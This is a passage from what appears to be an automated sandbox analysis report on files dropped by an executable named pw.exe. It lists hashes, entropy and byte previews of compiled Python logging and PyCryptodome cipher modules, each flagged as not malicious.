scanner......N)...make_scannerr....z)(-?(?:0\|[1-9]\d*))(\.\d+)?([eE][-+]?\d+)?c........................sv...\|.j...\|.j...\|.j...t.j...\|.j...\|.j...\|.j...\|.j...\|.j...\|.j...\|.j...........................f.d.d.........f.d.d...}.\|.S.).Nc........................s....z.\|.\|...}.W.n...t.y.......t.\|...d...w.\|.d.k.r...\|.\|.d.......S.\|.d.k.r0..\|.\|.d...f.............S.\|.d.k.r=..\|.\|.d...f.....S.\|.d.k.rQ\|.\|.\|.d.......d.k.rQd.\|.d...f.S.\|.d.k.re\|.\|.\|.d.......d.k.red.\|.d...f.S.\|.d.k.ry\|.\|.\|.d.......d.k.ryd.\|.d...f.S...\|.\|...}.\|.d.u.r.\|.....\.}.}.}.\|.s.\|.r...\|.\|.p.d...\|.p.d.....}.n...\|...}.\|.\|.....f.S.\|.d.k.r.\|.\|.\|.d.......d.k.r...d...\|.d...f.S.\|.d.k.r.\|.\|.\|.d.......d.k.r..d...\|.d...f.S.\|.d.k.r.\|.\|.\|.d.......d.k.r..d...\|.d...f.S.t.\|.....).N..".......{..[..n.....Z.null..t..trueT..f.....Z.falseF....N.......NaN..I.......Infinity..-.....z.-Infinit

C:\recover\pw\lib\logging\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	66889
Entropy (8bit):	5.2285902838195195
Encrypted:	false
SSDEEP:	768:xdNUC9zPG/2+LY88wCZvnogaGI3IcxxWe8mpQxKSVM+GSZpsRNixcEOZBQ0uyoP:xdygXeY88wKvnkG8vmeZQ/c2l1P
MD5:	705E7B46D807A31400E8854C0BFB0346
SHA1:	9BB49EEBDF99401EA91C0DC528F7B711DEFFC16E
SHA-256:	1F4A92535B4F8B386B2E5D9D8D5D023F06C56557F7516AC1882119674466F387
SHA-512:	88A7BF1A32F59179E99AB414D0A516F64C2583ECF92D5229098C496E31CED825691D9FC604091D4BE6B7A7F83E2474BBC53CA2C17DE28AE5F7AA01841EB2495D
Malicious:	false
Preview:	o.........Sg=B.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...g.d...Z.d.d.l.Z.d.Z.d.Z.d.Z.d.Z.e.....Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.Z.d.Z.d.Z.e.Z.d.Z.d.Z d.Z!e.d.e.d.e.d.e.d.e d.e!d.i.Z"e.e.e.e.e.e.e e!d...Z#d.d...Z$d.d...Z%e&e.d...r.d.d...Z'n.d.d...Z'e.j(.)e%jj+..Z,d d!..Z-e.....Z/d"d#..Z0d$d%..Z1e&e.d&..s.d'd(..Z2n.e..3..Z4d)d(..Z2dd+..Z5e.j6e0e5e1d,....G.d-d...d.e7..Z8e8a9d/d0..Z:d1d2..Z;d3d4..Z<e...Z=[.G.d5d6..d6e7..Z>G.d7d8..d8e>..Z?G.d9d:..d:e>..Z@d;ZAe>eAf.e?d<f.e@d=f.d>..ZBG.d?d@..d@e7..Z.e...ZCG.dAdB..dBe7..ZDG.dCdD..dDe7..ZEG.dEdF..dFe7..ZFe..G..ZHg.ZIdGdH..ZJdIdJ..ZKG.dKdL..dLeF..ZLG.dMdN..dNeL..ZMG.dOdP..dPeM..ZNG.dQdR..dReM..ZOeOe...ZPePZQG.dSdT..dTe7..ZRdUdV..ZSdWdX..ZTG.dYdZ..dZe7..ZUG.d[d\..d\eF..ZVG.d]d^..d^eV..ZWeVaXG.d_d`..d`e7..ZYeWe...ZZeZeV_ZeUeVjZ..eV_[dadb..Z\d.dcdd..Z]dedf..Z^dgdh..Z_didj..Z`d.dk..dldm..Zadndo..Zbdpdq..Zcdrds..Zddtdu..Zedvdw..Zfe.f.dxdy..ZgeIf.dzd{..Zhd.d.liZiei.jeh..

C:\recover\pw\lib\site-packages\Crypto\Cipher\pycache\AES.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	7029
Entropy (8bit):	5.339247333695961
Encrypted:	false
SSDEEP:	96:JeGQHbITHl5m6xVZaGV/EXOniHu/Eoft7TAUZmniQjzVHd2qE5:Je7Hbk5nn9EXDHhItPdZ9QjI5
MD5:	19AA3F6C2DFC1BD98649C18A5EDA2647
SHA1:	7BA4D72D4A91D62C515F7F271B91384BDCC0019F
SHA-256:	00F863318D360D03AE8CB1EEE40B5A7BF8B91726FADD5D88A57B15E5F4AD01DB
SHA-512:	ED997B41090AA02835E38BE701743D3AD7740489697C3EAE5DD123F99D5DD259ECB3D2C6C2512994073268E7A658C9F7AE617864541176849E227A9ED980452D
Malicious:	false
Preview:	o.........Sg.#.......................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.d.e...Z.z.d.Z.e.....rQe.d.e...d.d.....Z.W.n...e.y[......Y.n.w.d.d...Z.d.d...Z.d.d...Z d.Z!d.Z"d.S.)......N)..._create_cipher)...load_pycryptodome_raw_lib..VoidPointer..SmartPointer..c_size_t..c_uint8_ptr)..._cpu_features)...get_random_bytes.......................................................a..... int AES_start_operation(const uint8_t key[],. size_t key_len,. void *pResult);. int AES_encrypt(const void state,. const uint8_t in,. uint8_t out,. size_t data_len);. int AES_decrypt(const void state,. const uint8_t in,. uint8_t out,. size_t data_len);. int AES_stop_operation(void state);.

C:\recover\pw\lib\site-packages\Crypto\Cipher\pycache\DES.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4957
Entropy (8bit):	5.161845322614703
Encrypted:	false
SSDEEP:	96:cFDtaCGJ/VGx/uxbLM4x6stLAv74PJlQKGW:CwZAputM4ftcsPzJ
MD5:	18802C850544963B6B5B3FACF5559A58
SHA1:	C9EF79CA64E8C2DD678CA75A4F8E13B9D95344BA
SHA-256:	8B7728B3628DEE70F733DD42B380B78A1B0F43C1122A5A468893CB4175652994
SHA-512:	70C320746985EB56A5A9D73DAB83FD4C36C6B61CE13880FA558E2AB1E99E1C3264D56D81FE29AD013438238F48328EFBE719A3A61CD19463867D07AAF7A03966
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.d.d...Z.d.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.S.).a.....Module's constants for the modes of operation supported with Single DES:..:var MODE_ECB: :ref:`Electronic Code Book (ECB) <ecb_mode>`.:var MODE_CBC: :ref:`Cipher-Block Chaining (CBC) <cbc_mode>`.:var MODE_CFB: :ref:`Cipher FeedBack (CFB) <cfb_mode>`.:var MODE_OFB: :ref:`Output FeedBack (OFB) <ofb_mode>`.:var MODE_CTR: :ref:`CounTer Mode (CTR) <ctr_mode>`.:var MODE_OPENPGP: :ref:`OpenPGP Mode <openpgp_mode>`.:var MODE_EAX: :ref:`EAX Mode <eax_mode>`......N)..._create_cipher)...byte_string)...load_pycryptodome_raw_lib..VoidPointer..SmartPointer..c_size_t..c_uint8_ptrz.Crypto.Cipher._raw_desa..... int DES_start_operation(const uint8_t key[],. size_t key_len,. void **pResult);. int DES_encrypt(const vo

C:\recover\pw\lib\site-packages\Crypto\Cipher\pycache\DES3.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	6170
Entropy (8bit):	5.254935937506675
Encrypted:	false
SSDEEP:	96:l3Pz+cF8LjRVdNkIOMwgRYRc/2QlAeiPTiC6TtLAvE4YMxbulb5ac:5+pB8M01aqPTi/tcfYSbwAc
MD5:	A373AF2DB697C300F6DB6F345F46EEE0
SHA1:	A980A4E5C6E9BDF6DAF67FAADADFF559DDDE9EF5
SHA-256:	F50DE6240CAE1CEA0BD64627A038020610724152FAB6541A8D22414C4D1286E5
SHA-512:	0CED6F8DFBF2298713B7D756C10E643F79A4578325BA735FF458318F6D8EAD011253E159806A9C6B245C03891C0CFD54E8E4410DF11D758B0CD10AFA13F5B294
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.S.).a.....Module's constants for the modes of operation supported with Triple DES:..:var MODE_ECB: :ref:`Electronic Code Book (ECB) <ecb_mode>`.:var MODE_CBC: :ref:`Cipher-Block Chaining (CBC) <cbc_mode>`.:var MODE_CFB: :ref:`Cipher FeedBack (CFB) <cfb_mode>`.:var MODE_OFB: :ref:`Output FeedBack (OFB) <ofb_mode>`.:var MODE_CTR: :ref:`CounTer Mode (CTR) <ctr_mode>`.:var MODE_OPENPGP: :ref:`OpenPGP Mode <openpgp_mode>`.:var MODE_EAX: :ref:`EAX Mode <eax_mode>`......N)..._create_cipher)...byte_string..bchr..bord..bstr)...load_pycryptodome_raw_lib..VoidPointer..SmartPointer..c_size_tz.Crypto.Cipher._raw_des3a..... int DES3_start_operation(const uint8_t key[],. size_t key_len,. void **pResult);.

C:\recover\pw\lib\site-packages\Crypto\Cipher\pycache\PKCS1_OAEP.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	6934
Entropy (8bit):	5.296958000689136
Encrypted:	false
SSDEEP:	96:65y77I5xO5Xqk0mu99jUAWWiD+wtDMgMzfEB1RZYVrdKlHbgKqkfzBA/CF:J7FFFpiMtQg/1g1dmrFf6qF
MD5:	C3C1D95FB8CF68633EC1C75EEC6B4702
SHA1:	3F1E6BF60EDBE3B76B62D87990EED4F256994DB7
SHA-256:	1296F3F4C5E5039744F8E5A40A763F4A14798D32C1770F01695562FAEDE87E81
SHA-512:	BD04785FB8DA40EC2A712263D110A66201127104B5045DAD7D9D7D15F3C21A14DDE22F41CF5C9B64995E99DE8782229CCEBDAE98AEFD0A03137A3BC77C8E1A9A
Malicious:	false
Preview:	o.........SgO".......................@...s\|...d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d...Z.d.d.d...Z.d.S.)......)...MGF1N)..._copy_bytes)...ceil_div..bytes_to_long..long_to_bytes)...strxor)...Random.....)...oaep_decodec....................@...s8...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...PKCS1OAEP_CipherzXCipher object for PKCS#1 v1.5 OAEP.. Do not create directly: use :func:`new` instead.c........................sN...\|..._.\|.r.\|..._.n.t.j.j..._.\|.r.\|..._.n...f.d.d....._.t.d.d.\|....._.\|..._.d.S.).a....Initialize this PKCS#1 OAEP cipher object... :Parameters:. key : an RSA key object. If a private half is given, both encryption and decryption are possible.. If a public half is given, only encryption is possible.. hashAlgo : hash object. The hash function to use. This can be a module under `Crypto.Hash`. or an existing h

C:\recover\pw\lib\site-packages\Crypto\Cipher\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	5.3674004399476605
Encrypted:	false
SSDEEP:	48:gzLMJbLqGllz8RRyglXGLtLaLaLLLLv+rLALiLLxLJLOfi:gzCbLqylz8RsgpIfuai
MD5:	88F256A9BCB81AB13C03CAC984238DBA
SHA1:	93BB01DE86D4F8765F97D30A91103107B7619CDE
SHA-256:	9B2CA960F448E8A56DBCE846997AB13FE725E55FA3E15DF1AEAD7C801FD5B60F
SHA-512:	87703A2909881C19341D81377706E7BEDF416B44DFF7E96A95C84EEF8B46656C683D3C73287E2C6ECB11B6ACFDD80FDB2ACF23C8B758036718D0C9AE021CE741
Malicious:	false
Preview:	o.........Sgk........................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.e.e.e.e.e.e.d...Z.e.e.e.e.d...Z.d.d...Z.d.S.)......N)..._create_ecb_cipher)..._create_cbc_cipher)..._create_cfb_cipher)..._create_ofb_cipher)..._create_ctr_cipher)..._create_openpgp_cipher)..._create_ccm_cipher)..._create_eax_cipher)..._create_siv_cipher)..._create_gcm_cipher)..._create_ocb_cipher)....................................).....................c....................O...s....\|.\|.d.<.t.t...}.\|...d.d...r.\|...t.....\|.\|.v.r.t.d.....\|.r^\|.d.v.r2t.\|...d.k.r+t.d.....\|.d...\|.d.<.n,\|.d.v.rGt.\|...d.k.r@t.d.....\|.d...\|.d.<.n.\|.d.k.rVt.\|...d.k.rUt.d.....n.\|.d.k.r^t.d.....\|.\|...\|.f.i.\|.....S.).N..keyZ.add_aes_modesFz.Mode not supported).r....r....r....r....r....r....z Too many arguments for this moder......nonce).r....r....r....r....Z.IVr....z%IV is not meaningful for the ECB mode)...dict.._modes..pop..up

C:\recover\pw\lib\site-packages\Crypto\Cipher\pycache\_mode_cbc.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	7453
Entropy (8bit):	5.137254131139143
Encrypted:	false
SSDEEP:	96:4Y6kvwbQ9XIHJEgsA4nx3ZzhS5R5esIDGnt834mGvWcsQNqC/Y8HvGBt83425phX:WbJHrt4x3Zq8smGtU4w1MGnU44Kt0qOp
MD5:	5678468B7A2E23C74EC9F39DCE719C20
SHA1:	4DF34DA095B8DC61C122F65A13E05173459DF5C5
SHA-256:	5F98CA03EB2A021F2BF169C62CFAC21B68611A9ABDFECA6FF21593F6668EAA37
SHA-512:	D11DA642B19490EB9C741DF279B38954FB4810D09619FF69D2DBBEC012FE08270C8C74E4A739230968DB2DFADDF5FBC589B59837D17213633A6C626B33F4F091
Malicious:	false
Preview:	o.........Sg.+.......................@...sp...d.Z.d.g.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z'.Ciphertext Block Chaining (CBC) mode....CbcMode.....)..._copy_bytes)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr..is_writeable_buffer)...get_random_bytesz.Crypto.Cipher._raw_cbca..... int CBC_start_operation(void cipher,. const uint8_t iv[],. size_t iv_len,. void pResult);. int CBC_encrypt(void cbcState,. const uint8_t in,. uint8_t out,. size_t data_len);. int CBC_decrypt(void cbcState,. const uint8_t in,. uint8_t *out,.

C:\recover\pw\lib\site-packages\Crypto\Cipher\pycache\_mode_ccm.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	17928
Entropy (8bit):	5.285858166906226
Encrypted:	false
SSDEEP:	384:D7q/qgUMlQiMS1I48juzC8Y2tMlx7vXyqE:D7SQM6jQMb7/yV
MD5:	CEC20C4F019157A134955585CC7402AA
SHA1:	4418A1C7EC09E01BEA9042EB7A21CF717066A442
SHA-256:	E7AA91523CB78989BDBD2C5491D40D1D78BCBD245DD2339800A3F136B5172FA4
SHA-512:	DCA79D87AFAF829249DF815FBA20B131CF11B05255B42B1F7F0475699EFC8F33C9C65F0B27F64536D5477C18C36586CBD1ABC0D9B04AC6D5622DA1EDA6DC8047
Malicious:	false
Preview:	o.........Sg.a.......................@...s....d.Z.d.g.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d...Z.e.d.d.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z".Counter with CBC-MAC (CCM) mode....CcmMode.....N)...unhexlify)...byte_string..bord.._copy_bytes)...is_writeable_buffer)...strxor)...long_to_bytes)...BLAKE2s)...get_random_bytesc....................K...s....t.d.d.\|...S.).N..Enum..)...type).Z.enumsr....r.....:C:\recover\pw\lib\site-packages\Crypto\Cipher\_mode_ccm.py..enum3...s......r..............)...NOT_STARTED..PROCESSING_AUTH_DATA..PROCESSING_PLAINTEXTc....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d.d...Z.d!d.d...Z.d!d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d!d.d...Z.d!d.d...Z.d.S.)"r....a....Counter with CBC-MAC (CCM)... This is an Authenticated Encryption with Associated Data (`AEAD`_) mode.. It provides both confidentiality and authenticity... The header of the message may be lef

C:\recover\pw\lib\site-packages\Crypto\Cipher\pycache\_mode_cfb.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	7775
Entropy (8bit):	5.10166932233529
Encrypted:	false
SSDEEP:	96:Lo6kvf/G8HDxEpuPnxEZYh9PsCIgGGt834mGPMsQNPx/g8H+G0t834U5pptYCcXn:y3xEuxEZLCJGkU4ma5GaU4mx4DbKq+E
MD5:	DDEE29956D23A72730D43711B60EF9B0
SHA1:	2F8652D89C1583429D569343D740D90F67084CE1
SHA-256:	3F4B7F32C82DF67B50C437280C107CA6DB7830C1430F350426FAEBA67B3B9595
SHA-512:	661227FE584B20ED6368CBE3ED8EFBA3451DDEEB4A47962CBBDE2B84C517691E3EABAE6D0C078F1D30B10AD8A62F03A84F8895CA5DB15B5970888E758D601F4F
Malicious:	false
Preview:	o.........Sg.+.......................@...sp...d.Z.d.g.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z..Counter Feedback (CFB) mode....CfbMode.....)..._copy_bytes)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr..is_writeable_buffer)...get_random_bytesz.Crypto.Cipher._raw_cfba .... int CFB_start_operation(void cipher,. const uint8_t iv[],. size_t iv_len,. size_t segment_len, / In bytes /. void pResult);. int CFB_encrypt(void cfbState,. const uint8_t in,. uint8_t out,. size_t data_len);. int CFB_decrypt(void *cfbState,.

C:\recover\pw\lib\site-packages\Crypto\Cipher\pycache\_mode_ctr.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	10973
Entropy (8bit):	5.098780299931689
Encrypted:	false
SSDEEP:	192:l7GD6nkH7cxiM16TPy58ssmGrPU4uOGrNU4XrwSkcji+Gb:lamnGSQ+80MTuOyTXMSkmi+0
MD5:	53814793483CBB9132C2FE333BFD16B4
SHA1:	E0491526150BCE9192959EF7CC03ED21A5477ADB
SHA-256:	91DEC6528ADCDB188C4D517D951500AB61ABC9524AB6805E0D4DD00BBE26E6C0
SHA-512:	F81AD6E19883AA034D7B8E671E1F60D4EFF25B11ACD79BFB29A375C50A90C1F733DB8A941A830C0D154D699169D0BA6E672931CF1CB7D89961708DC46FF737C9
Malicious:	false
Preview:	o.........SgM?.......................@...s....d.Z.d.g.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z..Counter (CTR) mode....CtrMode.....N)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr..is_writeable_buffer)...get_random_bytes)..._copy_bytes..is_native_int)...long_to_bytesz.Crypto.Cipher._raw_ctra..... int CTR_start_operation(void cipher,. uint8_t initialCounterBlock[],. size_t initialCounterBlock_len,. size_t prefix_len,. unsigned counter_len,. unsigned littleEndian,. void pResult);. int CTR_encrypt(void ctrState,.

C:\recover\pw\lib\site-packages\Crypto\Cipher\pycache\_mode_eax.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	12259
Entropy (8bit):	5.157473977676032
Encrypted:	false
SSDEEP:	192:8sVawXqNRG+1vCM4PBrU4/4DwU4X3Rz/AfrRWDL/773uewFjp3xWmk1:tawXq/j4M4lTwwTXp/AVeLT732L071
MD5:	C9E9ACAFB6B6AF8E6C014D94E95940E0
SHA1:	9B93E1ACF55C1F5B1E79D19A23628CF394B7D512
SHA-256:	F135D25DF6D4E6AC7E068E5CB1EA203B493D78FC05B2D5F3212024434B63682A
SHA-512:	94613AADF75AF990C00B5BCA5D7F026CCC84334A6D6D15010114AE8023E9BD555DD68AF9A2D78ADF35EF76F3AAC12797897CA7EA71606806A58DF2C65B33AC43
Malicious:	false
Preview:	o.........Sg.:.......................@...s....d.Z.d.g.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.d.d...Z.d.S.).z..EAX mode....EaxMode.....N)...unhexlify)...byte_string..bord.._copy_bytes)...is_buffer)...strxor)...long_to_bytes..bytes_to_long)...CMAC..BLAKE2s)...get_random_bytesc....................@...sh...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.).r....a....EAX mode... This is an Authenticated Encryption with Associated Data. (`AEAD`_) mode. It provides both confidentiality and authenticity... The header of the message may be left in the clear, if needed,. and it will still be subject to authentication... The decryption step tells the receiver if the message comes. from a source that really knowns the secret key.. Additionally, decryption detects if any part of the message -. including the header - has been modified

C:\recover\pw\lib\site-packages\Crypto\Cipher\pycache\_mode_ecb.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5802
Entropy (8bit):	5.0921415957214275
Encrypted:	false
SSDEEP:	96:3nFv6kvV9AtXEHlhfKx7lhLVFeaqBP6sQLRdJ98HJm3qc5pHIeOD:3nH9pHlhM7XekL96mxsD
MD5:	2ABDB991C11781A6EF18B7C7040DA0EB
SHA1:	CF58A2D24B2B290563EC844A08CBB14B157F7519
SHA-256:	5E90B4D2B339B152EC4959927987AF9D2F997124F70D3983EAE5899F9815575F
SHA-512:	21D186FC517DACC1B08F8A00191C4D6ACD7E452B931486F77A051728388F57C422CAD589F0CAC6A2CFFAED2402B0B80A206C6CFD14091B9757772C4BF1F9262C
Malicious:	false
Preview:	o.........SgQ!.......................@...sX...d.Z.d.g.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z".Electronic Code Book (ECB) mode....EcbMode.....)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr..is_writeable_bufferz.Crypto.Cipher._raw_ecbak.... int ECB_start_operation(void cipher,. void pResult);. int ECB_encrypt(void ecbState,. const uint8_t in,. uint8_t out,. size_t data_len);. int ECB_decrypt(void ecbState,. const uint8_t in,. uint8_t out,. size_t data_len);. int ECB_stop_operation(void state);. c....................@...s,.

C:\recover\pw\lib\site-packages\Crypto\Cipher\pycache\_mode_gcm.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	17056
Entropy (8bit):	5.331044659448114
Encrypted:	false
SSDEEP:	384:K/+RW9/ScqbkrPM4JjaTlTbIl67Wa+7l9A:KGw9/Zw4c7Fc9A
MD5:	13911FCCD588E038979147DD1E4B5457
SHA1:	D5FC0AD69A97BDB20C50083FF28FE4D5BD42464B
SHA-256:	3C35984297D2DB53F27A1878F65386750E58C7C8E11D23F9097257566596E9D0
SHA-512:	97134659DEA3FCBC01EDA7083ACE8218A983F7FCE5AA6DAD3A81A7BCF0B12C04C8788D93258280C125651B95C59B87DE0B0FFAEFE1DCDFCBC3F14940489B0501
Malicious:	false
Preview:	o.........Sg.U.......................@...s....d.Z.d.g.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.Z.d.d...Z.d.d...Z.e...Z.d.d...Z.e...Z.G.d.d...d.e...Z d.d...Z!e!d.d.d...Z"G.d.d...d.e...Z#d.d...Z$d.S.).z..Galois/Counter Mode (GCM)....GcmMode.....)...unhexlify)...bord.._copy_bytes)...is_buffer)...long_to_bytes..bytes_to_long)...BLAKE2s)...get_random_bytes)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr)..._cpu_featuresa`.... int ghash_%imp%(uint8_t y_out[16],. const uint8_t block_data[],. size_t len,. const uint8_t y_in[16],. const void exp_key);. int ghash_expand_%imp%(const uint8_t h[16],. void ghash_tables);. int ghash_destroy_%imp%(void ghash_tables);.c........................sl...d.d.l.m.}...d.}.\|.d.\|...}.z.....f.d

C:\recover\pw\lib\site-packages\Crypto\Cipher\pycache\_mode_ocb.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	DIY-Thermocam raw data (Lepton 2.x), scale 256-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, minimum point enabled, calibration: offset 0.000000, slope 128.000000
Category:	dropped
Size (bytes):	14638
Entropy (8bit):	5.2377329218658835
Encrypted:	false
SSDEEP:	384:TqHGdezRhrM0R4K/eWAe4hvDCxH5DBbaZ0dQ:TsGdeXMMF2ygOZ5aZ0dQ
MD5:	55CC43BF932A8E8CDA642C933F64B641
SHA1:	B285BC51C9F6B72AB21C3EB80BA1976C300A4C44
SHA-256:	E436710C494E458A8359DA7E54FD5F8235C20693D0D561929AABA3CF63E56841
SHA-512:	5C1195B49AA9FDF8ACDFD3864E609A15381C71ED86ED5DA0512CE12324F3726A0227550E45D13C4EE7C90CFCB89CC8DA19D6C9EC74D70A6C717F7765DF916CA6
Malicious:	false
Preview:	o.........Sg.O.......................@...s....d.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).ah....Offset Codebook (OCB) mode...OCB is Authenticated Encryption with Associated Data (AEAD) cipher mode.designed by Prof. Phillip Rogaway and specified in `RFC7253`_...The algorithm provides both authenticity and privacy, it is very efficient,.it uses only one key and it can be used in online mode (so that encryption.or decryption can start before the end of the message is available)...This module implements the third and last variant of OCB (OCB3) and it only.works in combination with a 128-bit block symmetric cipher, like AES...OCB is patented in US but `free licenses`_ exist for software implementations.meant for non-military purposes...Example:. >>> from Crypto.Cipher import AES. >>> from Crypto.Random import get_random_bytes. >>>. >>> key = get_ran

C:\recover\pw\lib\site-packages\Crypto\Cipher\pycache\_mode_ofb.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	7344
Entropy (8bit):	5.0771190361712115
Encrypted:	false
SSDEEP:	96:fA6kv9jQvHHq12nxIN3hS5A5esIUGGt834mGPMsQN7t/z8HaGTvt834+5pcRJ6Xn:wyHqAxId8s9GkU4yZlGTVU4JCoq/1l
MD5:	55CD3F09CA3FA86A429575CD4845BCFE
SHA1:	813637F53753B0E2FFD3479AADE898AA60612F3B
SHA-256:	10754C6C6BD55951F20EAE0017616DC65CDAB1E8F9AFCDAF57B36A0C05FDF117
SHA-512:	C5F3DF6C8147819259198CCA2DB8A98B6D614A4F5B36FBF45DB7CCC91098DAE4E0204DC992AA6719AE054C3C1A0FD847C6DA6B8CAB0953D250EE253A87679370
Malicious:	false
Preview:	o.........Sg.(.......................@...sp...d.Z.d.g.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z..Output Feedback (CFB) mode....OfbMode.....)..._copy_bytes)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr..is_writeable_buffer)...get_random_bytesz.Crypto.Cipher._raw_ofba..... int OFB_start_operation(void cipher,. const uint8_t iv[],. size_t iv_len,. void pResult);. int OFB_encrypt(void ofbState,. const uint8_t in,. uint8_t out,. size_t data_len);. int OFB_decrypt(void *ofbState,. const uint8

C:\recover\pw\lib\site-packages\Crypto\Cipher\pycache\_mode_openpgp.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4800
Entropy (8bit):	5.224683907072128
Encrypted:	false
SSDEEP:	96:OV8N+A+Xwyi2Kt834mGPUGt8340y9nxBX4o7UIDFI:OU+A+1YU44kU4H9xxUIZI
